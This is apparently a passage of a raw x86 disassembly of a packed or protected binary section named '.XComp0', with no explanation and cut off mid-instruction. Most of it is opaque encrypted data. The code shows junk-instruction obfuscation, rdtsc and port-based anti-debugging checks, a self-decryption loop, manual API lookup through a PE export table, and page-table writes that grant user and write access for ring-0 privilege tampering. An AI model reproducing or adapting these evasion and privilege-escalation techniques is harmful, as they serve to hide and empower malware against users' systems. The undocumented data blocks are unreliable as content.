7A996009h, 299671FFh, 0DC6F7F7Ch dd 2996719Fh, 0AD418D7Ch, 25037A27h, 0A84E9672h, 9437A449h dd 60A98075h, 689D3EB9h, 98A2B465h, 787D902Dh, 15F293D4h dd 864E2FECh, 0DECB2995h, 0FE10FBE1h, 0A41BD3FFh, 0BDECF38h dd 2AE30CEBh, 8AD046F2h, 0B206C44Fh, 4CE92F8Eh, 9C5B6E0Fh dd 0F33EEB23h, 5B245102h, 3E03239Ch, 5CF21DC1h, 2FDB19Dh dd 0F0A92CD9h, 7737A95Eh, 0F8FF48D5h, 0EDBC31D2h dd 45DD49h, 8C270000h, 886FAA63h, 532B8866h, 7B7E3FA6h dd 0A247A0B6h, 6154B715h, 0B7C25188h, 3429963Eh, 0D9A4A747h dd 4F29963Eh, 14139A69h, 8B6C61AAh, 7326A75Eh, 6C3220EFh dd 412B37D6h, 2FC8719Ch, 5C0D808Fh, 0CE9E80BAh, 16818C31h dd 2FBE50B5h, 5D5A7F8Eh, 3B23897Ch, 0B16648Dh, 45D50E20h dd 655287D3h, 9C695287h, 4894019h, 0E774C155h, 2F949F62h dd 85A25A47h, 34B9567Ah, 395D165h, 0BBAA22D7h, 306E562h dd 77F5D792h, 0A08DA1BFh, 8FCB5773h, 658A7529h, 79B05576h dd 6991A574h, 0C97039BCh, 76778C2Eh, 74E598A3h, 0A5621D9Dh dd 74B7BE91h, 0A1961D9Dh, 0C155BA16h, 725A1442h, 0CFBCDE41h dd 0CA59BAF4h, 0F8D69E34h, 74E81D31h, 3146D6D2h, 30h, 4664FF13h dd 9B01D2CEh, 6C87BB6Dh, 2995AC11h, 0F137748Eh, 0A9F8D1C2h dd 0E370A960h, 2995A8AAh, 607E807h, 3FA916CBh, 5BB320C4h dd 0D000000h, 0D80464FFh, 30490A2Fh, 0AD299685h, 390039F0h dd 6203E5D3h, 6A5073B8h, 8C451499h, 7164AB13h, 0D6B396B8h dd 76299673h, 73ED90CBh, 0A06A2996h, 39CF45F2h, 789E530Ah dd 0A35E8380h, 95FB0578h, 71858229h, 768D3BC4h, 818A34CBh dd 7FB95D0Ch, 96B2329Ah, 125C7ACBh, 31CE36FCh, 7C6D818Ch dd 1DCh, 3268FFC4h, 8CBE820Eh, 0B1527863h, 9BDE7D3Ch, 18299685h dd 0BD6BA66Bh, 829168D1h, 299685F7h, 91745574h, 0A680B658h dd 502F523Ah, 0C94C6D8Ah, 9685EF8Ah, 7AAF6C26h, 6548D4h dd 2C930000h, 995045BEh, 46CEBF75h, 0E986D0D7h, 0DFCDFEDh dd 0A13632C4h, 9237C079h, 87A78273h, 8D31CEB1h, 0B85E0B82h dd 859DE07Bh, 6A552996h, 58118481h, 0FB243EB6h, 31D4A68Eh dd 0CEF513DEh, 8D31CE7Ah, 5B7D6C82h, 46CE78A8h, 0E66E14EFh dd 0D3983F59h, 71A4C014h, 851B54FAh, 358Ah, 0A848AF00h dd 0CE71C767h, 0C818C31h, 3AADB95Dh, 94D339E0h, 1E2B33Bh dd 0CE9E94BAh, 9685EC8Dh, 0BB1D8629h, 0CE5F8148h, 797C8731h dd 5FA18EA0h, 83A55E8Ch, 638C2E12h, 0A9D47FBAh, 26299685h dd 859FDA79h, 5F1C2996h, 0BE8276AAh, 628A31CEh, 73B3FA6Ah dd 4EE02961h, 0A9578B12h, 3AA66FD1h, 8A502F52h, 85D9A4AFh dd 6B4F2696h, 5E40199Ch, 59918DA1h, 73000000h, 828D31CEh dd 0ACB85E0Bh, 0FF06B335h, 0F216DB8Eh, 5E8C73CEh, 0D57930A5h dd 96860772h, 87658429h, 85F68794h, 0B6732996h, 6A9F7A7Bh dd 0B0C98AAFh, 2D299685h, 0CE58DE70h, 5F4FA173h, 5046D67Ch dd 648C78BEh, 31CE7DABh, 9E6F508Dh, 67876253h, 4E8A320Eh dd 0B6000000h, 95E873CEh, 12299685h, 4E2FEC15h, 0CB299685h dd 0B52C38DEh, 8DCEC365h, 299685ECh, 0BBBE5DA4h, 38299685h dd 8770AB4Bh, 0BE62A766h, 5F8C73CEh, 0BF7A2FA6h, 9685E994h dd 95B96629h, 0AB648C9Fh, 0D227127Dh, 96853841h, 26C8B529h dd 0B8618C10h, 9685E29Bh, 95765829h, 0A8554920h, 93E76C61h dd 52299685h, 38BF6F7Bh, 14E37394h, 62BC60A9h, 7E8931CEh dd 5D8CA277h, 5F0A8B7Eh, 21947558h, 0A447A648h, 8593E675h dd 13102996h, 0EED0D7DEh, 2D8F981Dh, 0EDD0D7DEh, 301E191Ch dd 0BE39DE6Eh, 2231E81Dh, 29968557h, 0F80727D4h, 5EFD44EAh dd 2996851Bh, 1D60FB98h, 9A299685h, 0E31224EDh, 4EEB11F8h dd 0EE000BB1h, 968F5F5Bh, 0B32C8D29h, 744D2F52h, 0FFFFFDBDh dd 7B8C30C7h, 0DB8A827Ah, 0D4138853h, 0E843F91Dh, 29968591h dd 4D846651h, 61549D70h, 16E36688h, 0D6299686h, 0ECE800E9h dd 2E13259Dh, 867164ADh, 7B2E9F64h, 0DEE55EB6h, 14DD4A60h dd 0FD2D4F02h, 74012995h, 4E2995FDh, 2995FD27h, 95FD7401h dd 0ACE034E9h, 62AB9555h, 0D3452135h, 76A57855h, 69964303h dd 474E8380h, 71A25792h, 6F92799Fh, 2EBC31EEh, 721B45B8h dd 0E7F8633h, 1CD795Bh, 6E5FAA11h, 86BB76BBh, 96B85379h dd 626C6099h, 0E765CFB4h, 23C0F1Fh, 3869931Dh, 4AEC1BBFh dd 5226F5B2h, 0B27EFCBBh, 3D3B4C1h, 6C530000h, 78587FA5h dd 58826597h, 6D4E79ABh, 59816498h, 659C76AEh, 0CB719636h dd 9349C22Ch, 5C808934h, 83B95479h, 27B9861h, 7F2397A6h dd 638C26CAh, 21B723AAh, 0FEF940F9h, 470A2CE1h, 2F9558FEh dd 11033EEBh, 3E9FA037h, 0F56FDCFh, 2FF23CD2h, 2397CF4Ah dd 9943AD3Bh, 63AE7B72h, 0A3509DBEh, 48E52996h, 98FC720Bh dd 0F732EF1Dh, 215CF742h, 9E1D98FCh, 26DD3BC4h, 0A7626558h dd 0D514E45h, 21358ADBh, 0DB42AB14h, 0ED0EF7E4h, 1D997A8Ch dd 0AB81C09h, 79F967CDh, 6F568E43h, 2BCEBF4Eh, 5EAD62A9h dd 989DBCBDh, 684C391Dh, 0E6082B2Eh, 992B1E63h, 8746CE1Dh dd 237FD67Eh, 0B92F3BDBh, 0F154B861h, 9A15509Ah, 0A950DD71h dd 0C725AC0Eh, 51985144h, 0E6698D5Ch, 23982D63h, 639E4340h dd 85FC7D9Eh, 8C79179Ah, 0AB628B6Ah, 4ECD9E76h, 4220CCF8h dd 41017C97h, 817E179Ah, 0BB24C36Dh, 0AD10A752h, 6E80595Ch dd 0A14BB475h, 40A0D97Ah, 601D179Ah, 4FD985A9h, 182DEE13h dd 381D9914h, 0FCE33DD4h, 8D5F0AC7h, 0FCD47917h, 24CC62EFh dd 8EB37677h, 0DFD5A8B3h, 5552119Ah, 9ADFB3C6h, 47C22911h dd 76339346h, 0C81284E0h, 0B2EF0211h, 4D7C1799h, 0AD549D70h dd 0E271AE12h, 0B9C0B97h, 8CA26714h, 56B7189Fh, 67A647AEh dd 0B1CC87B2h, 270B9C0Bh, 9F5C42C1h, 0C8AD568Fh, 880B9C25h dd 37BE4D6Fh, 0B3567562h, 9BC76742h, 932CD50Dh, 37F2E32Ah dd 48F91A17h, 35119AC5h, 1BA44548h, 7F5A5BB2h, 3D65F36Fh dd 3BD2FB04h, 0E24FDFBAh, 5FD3B517h, 968A30B0h, 0A115CD80h dd 19FB0B96h, 7C943527h, 56756252h, 0AE5BA3B3h, 0FB3C914Dh dd 896C859Ch, 1F9h, 89BB5679h, 578D825Eh, 83B94A70h, 568E7764h dd 88BC4B6Fh, 0A44877AAh, 0B816C163h, 0A746B153h, 0B21BBA62h dd 7E3BA95Bh, 97A39CDDh, 14B41923h, 7E8931CEh, 0D01A8CD8h dd 96853A43h, 0E2CAB729h, 0B3981A8Dh, 2BD61B80h, 950455F0h dd 5045422Fh, 9EBD23A9h, 0A553ADEAh, 1743D591h, 15F8D5E2h dd 2F273401h, 35299045h, 0F2E320CAh, 0F0DF1737h, 0E6B33ACBh dd 94E4D02Bh, 0F3FCBEF1h, 178F2h, 38D9F800h, 12FDE104h dd 26DD0BEAh, 13F2D7FEh, 21E606F1h, 0ABE829FBh, 0B114C83Fh dd 0F9DC000Bh, 0E20537D2h, 6EC10FDh, 0A3572231h, 6FD42397h dd 3169FFD1h, 24C63108h, 33FE11ADh, 591D3023h, 0CA352F95h dd 1F3CE522h, 2397B15Eh, 0F0082EDBh, 0A92CD701h, 0F5B439F0h dd 1125E20Ah, 0A4F3FDE2h, 935463BCh, 27E607F0h, 1BC037E2h dd 8384E8CDh, 0B57C1780h, 6BC56940h, 621046CEh, 0F6369A4Dh dd 0E12C9160h, 0B2E87EECh, 675AB287h, 0FFFAE62Eh, 5657AC0Eh dd 6C514E83h, 33BA8DA1h, 0C82996F4h, 2F9926DBh, 0B15D00D4h dd 0E4C7EAACh, 0CD3FE852h, 0CDF03766h, 0A59D83Ch, 2E9261F5h dd 1DBF38E1h, 7EE48EEh, 1DFA22E1h, 29CD3AA2h, 67F421CAh dd 1D98BA16h, 0A65B9693h, 5657B219h, 1EC97383h, 349349BEh dd 676C4D88h, 864B8685h, 591A795Bh, 4F0809D9h, 2B9475BFh dd 85964BC2h, 1D9908F4h, 53A2B471h, 9D7AA269h, 53B50F37h dd 7851A36Ah, 0AFFDE43h, 1DC02FBFh, 3CF512BAh, 35981F08h dd 434637E4h, 0C6C31D99h, 0E30CEB0Bh, 0E9D3F22Ah, 1142F722h dd 1D994368h, 1C1638E5h, 30D904FBh, 5CD4421Eh dd 44159871h, 27AD548Dh, 30270378h, 0E76A8CA8h, 23978B0Ah dd 0FA0BB09Fh, 542536F3h, 0D11799E4h, 0E1D41DD4h, 0F014F9D6h dd 803h, 22C93600h, 0FF147E7h, 0AC658C39h, 6CA13E29h, 0AA5F7E69h dd 719A4423h, 0B84F7B7Ch, 7D8A3235h, 0BB4A6F78h, 788B2D3Ah dd 0C14E7275h, 89511BCCh, 4C181E1h, 83000000h, 0C8704E9h dd 24248B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], esi mov esi, 31ED385Eh and esi, 78A75E5h not esi shl esi, 5 or esi, 7333649Ch sub esi, 0F9FD23FCh mov ecx, esi pop esi push esp mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, ecx mov [edi+8], edx pop edx mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_5734FA ; --------------------------------------------------------------------------- dw 0B860h dd 5FEE431h, 0C38BC503h, 7E8h, 6B980C00h, 439FBC6Bh, 2CC2815Ah dd 0F00005Ah, 88Ah, 0C1815700h, 3E09A654h, 6859h, 9E90000h dd 0B2000000h, 9204F709h, 3BF22626h, 0B6EF815Eh, 8B651015h dd 0BF0F321Ch, 0AFEB81CFh, 0F358B74h, 587h, 5855B800h dd 0C381545Dh, 60D5A147h, 0FE9h, 302E5800h, 342DD352h dd 6AD730Dh, 11FD0733h, 309EEB81h, 0B9664DABh, 1C89B4F9h dd 9405B832h, 820F7D9Ch, 4, 0E097B966h, 0BF04EE83h, 7D18AFDDh dd 0A678FE81h, 850FFFFFh, 0FFFFFF9Fh, 0CE9h, 39A9400h dd 0ED239685h, 333C200Eh, 147E9D5h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 91A267C3h dd 8D0F138Ch, 2Ah, 0BE860h, 85370000h, 0E8C1652h, 70AE8B31h dd 12E958FDh, 7F000000h, 5BDC236h, 0F20907BFh, 17DBC794h dd 7BF80F0Ch, 0B58D616Dh, 5FEE605h, 38858DF8h, 0F505FC89h dd 0E9D0FFF9h, 5, 9C518D3Bh, 0FE9C3A9h, 1E000000h, 6ADDC589h dd 726728C4h, 2AF47A43h, 8C66FF9Eh, 53006AD9h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 54A4914h, 697E11C6h dd 15840F30h, 0E9000000h, 10h, 1FBFCD4Eh, 5BB1BF1Fh, 0A7C4B7F8h dd 6440BA36h, 0F04C1F6h, 4384h, 0D3806000h, 0B9665362h dd 61588229h, 0CB8BFB8Bh, 75AEC032h, 0F7CF2BFDh, 8BF92BD9h dd 0D98B49D7h, 20CD00EBh, 1013Fh, 1874C00Bh, 8B0C708Dh dd 0A6CB8BFAh, 75490A75h, 1B8FAh, 9EB0000h, 0E4EB008Bh dd 0B8h, 6ACF00h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0F9D7DC3h, 1085h, 0BE900h, 0BB6C0000h dd 97AA260Eh, 9864F812h, 7385C713h, 3F05FEE6h, 8D000101h dd 0FEE7B68Dh, 0FE905h, 210000h, 0B9D15E9Dh, 0ED057B10h dd 116D8F10h, 0DD8D89DBh, 6A05F90Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0D459C350h dd 0EFF2B25Fh, 4DB58918h, 0C705F92Eh, 0F926C185h, 6CC405h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0C780B6FDh, 0F900FD85h, 5, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 535E4FBAh, 0D58CF388h, 2409B5FFh, 858B05F9h, 5F90A4Dh dd 20D595FFh, 6A05F9h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 3FB6E5C3h, 0C542E470h, 0B589A2D8h dd 5F90D31h, 95FF006Ah, 5F91AEDh, 7CEBC08Bh, 0CF924F3Eh dd 2A6629F4h, 24222998h, 0B209C7E2h, 3083D80Ch, 0DC147BD1h dd 0F1853425h, 0FA84A50Ah, 0BD3D1C7Eh, 0CA4FE666h, 32DA3CF9h dd 8485D9F1h, 784AEADAh, 0F04E443Ah, 17454D8Fh, 9B2993C6h dd 8C8BBFD9h, 4A2831EDh, 2E3F743Eh, 52FE7A6Dh, 59F343E1h dd 8BAAE75h, 14823C81h, 68258845h, 4258BED9h, 0E5063731h dd 55F710h, 97C62341h, 5595C29Eh, 10015A6h, 4AD1F1BAh dd 0E9048D8Dh, 13E805FEh, 0E2000000h, 0AD7C09C9h, 2E454A89h dd 5C062CDBh, 38CB444Dh, 85331B7Ah, 5F91E11h, 0DD8D895Eh dd 2905F90Ch, 0F92B5D9Dh, 0C185C705h, 6805F926h, 6A00005Eh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 7443C350h, 0C76677E2h, 0F900FD85h, 5, 8E900h dd 0C9FE0000h, 0BCE1355Dh, 0B5FFC9ADh, 5F91FA1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 65C35646h, 2DD69FE9h dd 27F9858Bh, 95FF05F9h, 5F920D5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 8FC35545h, 12D9958Bh, 6A05F9h dd 1AED95FFh, 0C08B05F9h, 0ED5C18EBh, 1A18D7C1h, 0DF1BBD50h dd 733AD1C1h, 82996FD0h, 0FCDD4F8Fh, 3CE94410h, 1, 4Eh dup(0) dd 83000000h, 0F92571BDh, 840F0105h, 4B9h, 9E9h, 0A7571400h dd 0FC0FD0D3h, 0C6FC05AAh, 0F9189985h, 14E94305h, 5D000000h dd 10FABE6Bh, 625AF5F2h, 4594885Eh, 21B31208h, 0E85A9E9Fh dd 4, 0ECA5D0F5h, 11E95250h, 0EF000000h, 0B4C04852h, 60E70F41h dd 16F486C6h, 0B607E62Eh, 10E9310Fh, 0F000000h, 2290E1C1h dd 0B2DFB645h, 1F702072h, 5AAE4386h, 52505058h, 890F5250h dd 0 dd 5250310Fh, 585A310Fh, 310F585Ah, 10E9h, 4DA72100h, 0EA94D76Dh dd 0FCFE7CE4h, 4243BA0Bh, 8B585A3Ah, 0E9042444h, 13h, 7CA9AB8Fh dd 0FC6515CDh, 0D328A058h, 4F2E7163h, 8B8C6702h, 60525000h dd 871D8CBEh, 61F28B28h, 5250310Fh, 8F0Fh, 310F0000h, 310F5250h dd 585A585Ah, 4489585Ah, 890F0424h, 7, 0C57ABE60h, 58613B23h dd 8820Fh, 880F0000h, 2, 850F6160h, 1, 0D1B5FFF5h, 0E905F908h dd 13h, 6F19A4EEh, 0FD89E6C8h, 5ECE1D73h, 99854C9Ch, 8D702E98h dd 0FCC51085h, 0D0FFF805h, 11E960h, 8C2F0000h, 38A95FD1h dd 540A138h, 42F9A804h, 0F2AD048h, 8961CEB7h, 0F9080985h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0E9203C3Fh, 10h, 7742EE94h, 143C73C6h, 0D799CAEFh dd 68F8D660h, 0E8816660h, 6653F18Eh, 615AFB8Bh, 189985C6h dd 6A5005F9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0F4B1C357h, 8830F7Bh, 60000000h dd 3F9CB866h, 68611EB1h, 876A1B16h, 0CE9h, 8844EC00h, 31FBE60Ah dd 7BA155EEh, 24348144h, 2FC7B640h, 0D1B5FFFCh, 0F505F908h dd 0C510858Dh, 12E905FCh, 0E9000000h, 16DEAAE7h, 98F61F60h dd 0C151F825h, 0BE774AD3h, 0FD0FF6Eh, 182h, 8589FC00h dd 5F9207Dh, 0E3B768F8h, 5E9A64Fh, 0D5000000h, 40BE91E4h dd 78240481h, 0FC4A3FC4h, 8D1B5FFh, 8B0F05F9h, 8, 28C0Fh dd 61600000h, 0C510858Dh, 666005FCh, 8B66D88Bh, 0D0FF61D8h dd 12E9h, 49F4AF00h, 8A1347EAh, 0FC3FD22Eh, 2CB086FAh dd 0E9ACB985h, 0Fh, 9E14ADA9h, 29176EA1h, 0DD507A17h, 893FA587h dd 0F92CB985h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 8E0FF8D7h, 0Ch, 68F0Fh dd 870F0000h, 0 ; --------------------------------------------------------------------------- mov byte ptr [ebp+5F91899h], 50h jmp loc_5CA312 ; --------------------------------------------------------------------------- dd 0FFBA0FFEh db 1Ah, 4Dh ; --------------------------------------------------------------------------- loc_5CA312: ; CODE XREF: .XComp0:005CA307j push 0EC5D9FF8h jnb loc_5CA327 pusha pusha popa jnz $+6 popa loc_5CA327: ; CODE XREF: .XComp0:005CA317j xor dword ptr [esp], 7BC143AEh cmc push dword ptr [ebp+5F92719h] cmc jmp loc_5CA34B ; --------------------------------------------------------------------------- db 59h dd 0FD812B6Dh, 4D5419BBh, 0BE0EE3ACh db 27h, 13h, 6Ah ; --------------------------------------------------------------------------- loc_5CA34B: ; CODE XREF: .XComp0:005CA336j lea eax, [ebp+5F93A6Ah] cld ja loc_5CA364 jp loc_5CA364 jz $+6 loc_5CA364: ; CODE XREF: .XComp0:005CA352j ; .XComp0:005CA358j call eax jz loc_5CA382 jmp loc_5CA382 ; --------------------------------------------------------------------------- db 73h, 0D2h, 0F2h dd 6EA5D4CFh, 37963193h, 0E29311D5h db 0ACh, 2Eh ; --------------------------------------------------------------------------- loc_5CA382: ; CODE XREF: .XComp0:005CA366j ; .XComp0:005CA36Cj mov [ebp+5F914BDh], eax pusha push edx mov ecx, 17306D84h pop esi popa jmp loc_5CA515 ; --------------------------------------------------------------------------- dw 8D0Fh dd 8, 28F0Fh, 61600000h, 0E820F50h, 50000000h, 0F525052h dd 0F585A31h, 5A616031h, 242C8958h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 38C35141h, 0BE5085EDh, 10E92371h dd 0A000000h, 0ADD2517h, 2BE12A39h, 0E82363E5h, 8B4B3686h dd 50006AECh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 7361843Ah, 6660FCC1h, 0AB2CDE81h, 0FCC48361h dd 850F60F5h, 1, 0E8F9F9h, 5A000000h, 0EE42EA81h, 45C705FEh dd 0FCh, 71BA8300h, 105F925h, 98840Fh, 6A520000h, 0FF0F6A00h dd 0F9080992h, 82895A05h, 5FEE926h, 0E92A9A8Dh, 0C75205FEh dd 12803h, 0FF505300h, 0F9207D92h, 8D525A05h, 0FEE92A9Ah dd 0B2FF5305h, 5FEE926h, 14BD92FFh, 0B5A05F9h, 8D5074C0h dd 0FEE92A9Ah, 247B8D05h, 0F981C933h, 104h, 8141D474h dd 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h, 5F90185h dd 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 185828Dh, 0FF5005F9h dd 0F92CB992h, 0C00B5A05h, 45C7A075h, 1FCh, 0C707EB00h dd 0FC45h, 8B610000h, 0C2C9FC45h, 800F0008h, 6, 56DE8B60h dd 6A615Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 9D54A9C3h ; --------------------------------------------------------------------------- dec edx loc_5CA515: ; CODE XREF: .XComp0:005CA391j mov edx, edx jmp loc_5CA782 ; --------------------------------------------------------------------------- pusha mov cx, ds test cl, 4 jz loc_5CA55E push 1 push dword ptr [ebp+5F92719h] lea eax, [ebp+5FCC510h] call eax mov [ebp+5F91E05h], eax mov edi, esi shr edi, 0Ch push 20060000h push 0 push 2 push edi push 1000Dh call dword ptr [ebp+5F91E05h] jmp loc_5CA590 ; --------------------------------------------------------------------------- loc_5CA55E: ; CODE XREF: .XComp0:005CA523j mov byte ptr [ebp+5F91899h], 56h push 0A9C530DFh push dword ptr [ebp+5F908D1h] lea eax, [ebp+5FCC510h] call eax mov [ebp+5F90F65h], eax lea eax, [ebp+5F918C1h] push eax push 40h push 5 push esi call dword ptr [ebp+5F90F65h] loc_5CA590: ; CODE XREF: .XComp0:005CA559j popa retn ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dd 8B520000h, 428B60D4h, 0AD858908h, 8B05FEEFh, 85890C42h dd 5FEEFA5h, 8910428Bh, 0FEEFA985h, 0E3B58D05h, 8D05FEEFh dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 0EFADB58Bh, 858B05FEh dd 5FEEFA5h, 0EFA9BD83h, 0F0005FEh, 784h, 0E9068900h, 2 dd 0CF0688h, 0 dd 52000000h, 8B60D48Bh, 85890842h, 5FEEFADh, 0F034B58Dh dd 858D05FEh, 5B8EA1h, 5A61D0FFh, 0EFAD858Bh, 4C205FEh dd 0AD858B00h, 8B05FEEFh, 0AD858900h, 0CF05FEEFh, 0 ; --------------------------------------------------------------------------- pusha mov [ebp+5FEF00Ah], esi mov [ebp+5FEF006h], eax lea eax, [ebp+5F934D9h] mov eax, [eax+44h] mov [ebp+5FEF043h], eax lea esi, [ebp+5FEF079h] lea eax, dword_5B8EA1[ebp] call eax popa mov eax, [ebp+5FEF00Ah] retn ; --------------------------------------------------------------------------- mov ebx, [ebp+5FEF006h] movzx eax, word ptr [ebx+3Ch] add ebx, eax mov ebx, [ebx+78h] add ebx, [ebp+5FEF006h] mov esi, [ebx+24h] add esi, [ebp+5FEF006h] push esi mov edi, [ebx+20h] mov esi, [ebx+1Ch] add edi, [ebp+5FEF006h] add esi, [ebp+5FEF006h] cld or ecx, 0FFFFFFFFh loc_5CA69B: ; CODE XREF: .XComp0:005CA6B9j ; .XComp0:005CA6C8j inc ecx mov ebx, [ebp+5FEF00Ah] mov edx, [edi] add edx, [ebp+5FEF006h] add edi, 4 loc_5CA6AD: ; CODE XREF: .XComp0:005CA6C1j mov al, [edx] test al, al jz loc_5CA6C6 cmp al, [ebx] jnz loc_5CA69B inc ebx inc edx jmp loc_5CA6AD ; --------------------------------------------------------------------------- loc_5CA6C6: ; CODE XREF: .XComp0:005CA6B1j cmp al, [ebx] jnz loc_5CA69B pop edi shl ecx, 1 movzx eax, word ptr [edi+ecx] mov eax, [esi+eax*4] add eax, [ebp+5FEF006h] mov [ebp+5FEF00Ah], eax mov esi, eax mov ecx, esi mov eax, ecx cmp dword ptr [ebp+5FEF043h], 0C0300000h jnz loc_5CA707 shr eax, 14h and eax, 0FFCh jmp loc_5CA70F ; --------------------------------------------------------------------------- loc_5CA707: ; CODE XREF: .XComp0:005CA6F4j shr eax, 12h and eax, 3FF8h loc_5CA70F: ; CODE XREF: .XComp0:005CA702j mov edi, [ebp+5FEF043h] or dword ptr [edi+eax], 6 mov edx, [edi+eax] mov eax, edx and al, 81h cmp al, 81h mov eax, ecx jz locret_5CA781 ; --------------------------------------------------------------------------- dw 0BD81h dd 5FEF043h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5CA732: ; CODE XREF: .XComp0:005CA7ABj xor al, al jnz loc_5CA747 shr eax, 0Ah and eax, 3FFFFCh jmp loc_5CA74F ; --------------------------------------------------------------------------- loc_5CA747: ; CODE XREF: .XComp0:005CA734j shr eax, 9 and eax, 7FFFF8h loc_5CA74F: ; CODE XREF: .XComp0:005CA742j sub eax, 40000000h or dword ptr [eax], 6 test dword ptr [eax], 80h jz locret_5CA781 cmp dword ptr [ebp+5FEF043h], 0C0300000h jz locret_5CA781 and eax, 3FF8h mov eax, [eax-3FA00000h] or dword ptr [eax], 6 locret_5CA781: ; CODE XREF: .XComp0:005CA724j ; .XComp0:005CA75Dj ... iret ; --------------------------------------------------------------------------- loc_5CA782: ; CODE XREF: .XComp0:005CA517j lea eax, [ebp+5FEEFB1h] mov [ebp+5F918F1h], eax lea eax, [ebp+5FEF047h] mov [ebp+5F90DEDh], eax lea eax, [ebp+5FEF00Eh] mov [ebp+5F9075Dh], eax call near ptr sub_5CA7B0 jbe short loc_5CA732 jmp short near ptr loc_5CA7C2+1 ; --------------------------------------------------------------------------- db 4Ch ; =============== S U B R O U T I N E ======================================= sub_5CA7B0 proc far ; CODE XREF: .XComp0:005CA7A6p xor si, 58E3h pop ebx add ebx, 6A93h clc mov eax, 0 loc_5CA7C2: ; CODE XREF: .XComp0:005CA7ADj jge loc_5CA7CA mov esi, ebx loc_5CA7CA: ; CODE XREF: sub_5CA7B0:loc_5CA7C2j ; .XComp0:005CA833j mov edi, [ebx+eax] call sub_5CA7E3 retf 0FA8h sub_5CA7B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0C4h, 3Fh, 7Eh dd 87006B8Fh, 0AD9B1D6Eh db 7Eh, 0EDh, 0BBh ; =============== S U B R O U T I N E ======================================= sub_5CA7E3 proc near ; CODE XREF: sub_5CA7B0+1Dp jnb loc_5CA7EB mov ch, 17h loc_5CA7EB: ; CODE XREF: sub_5CA7E3j pop esi sub edi, 499C92FDh mov si, 22D7h add edi, 19041E0Eh pusha mov dx, 3397h call near ptr loc_5CA807+4 in eax, dx loc_5CA807: ; CODE XREF: sub_5CA7E3+1Ep cmp eax, 0B3DF5284h sub_5CA7E3 endp ; sp-analysis failed mov ah, 5Eh popa sub edi, 3A9413B0h add esi, 7CC9AA06h push edi movzx esi, di pop dword ptr [ebx+eax] mov dh, 0B9h adc edx, 70B89B51h sub eax, 4 cmp eax, 0FFFF95FCh jnz loc_5CA7CA mov ecx, 6F972265h lea ecx, [ebp+5FEF2E0h] push eax adc bh, 0E9h pop ebx mov [ebp+5F90CDDh], ecx mov ebx, 29A2CAF0h mov dword ptr [ebp+5F926C1h], 6C4Ch mov eax, [ebp+5F9179Dh] mov dword ptr [ebp+5F900FDh], 0 stc push dword ptr [ebp+5F91799h] push 0 push eax call sub_5CA880 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA880 proc near ; CODE XREF: .XComp0:005CA878p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5CA880 endp ; --------------------------------------------------------------------------- dd 502408E7h, 0A9C107C7h, 1855958Bh, 95FF05F9h, 5F920D5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0EBC35343h dd 6A29ACDh, 6AD97Ah, 1AED95FFh, 0C08B05F9h, 687768EBh dd 7C3DD53Bh, 143A2881h, 83A89E7Dh, 307459C0h, 855732F8h dd 0DBB8B0B2h, 3F9C1FC6h, 22B40BC6h, 3D4ED41h, 58AB009Fh dd 0C49033A9h, 7879D19Eh, 38823843h, 0F7EDA22Bh, 48625408h dd 2521B9F0h, 837656E7h, 590AFDB6h, 9F25893Eh, 14E2AB72h dd 703FB6E5h, 0D8C542E4h, 611DCCA2h, 0A7C5FBCAh, 9CF11F91h dd 12E82249h, 6C000000h, 6102EF8h, 1EBF4678h, 268BC9A4h dd 3ED15D0Dh, 21F080B1h, 45958959h, 8105F906h, 71FDC1h dd 0F1BD8B00h, 6805F909h, 0 ; --------------------------------------------------------------------------- mov ax, 0EFE0h pop edx mov [ebp+5F90411h], ecx loc_5CA977: ; CODE XREF: .XComp0:005CA9EDj push dword ptr [edx+ecx] xor esi, [ebp+5F90DB5h] pop ebx mov [ebp+5F91489h], esi xor ebx, 293A4D9Dh jo $+6 sub ebx, 19A009F9h jmp loc_5CA9AC ; --------------------------------------------------------------------------- dw 4D3Fh dd 96DF3A75h, 1D1BCB85h, 0DD9BADA6h ; --------------------------------------------------------------------------- loc_5CA9AC: ; CODE XREF: .XComp0:005CA999j add ebx, 1B83E96Dh mov [ebp+5F90A3Dh], ecx push ebx mov esi, eax pop dword ptr [ecx+edx] mov ah, cl mov di, dx sub 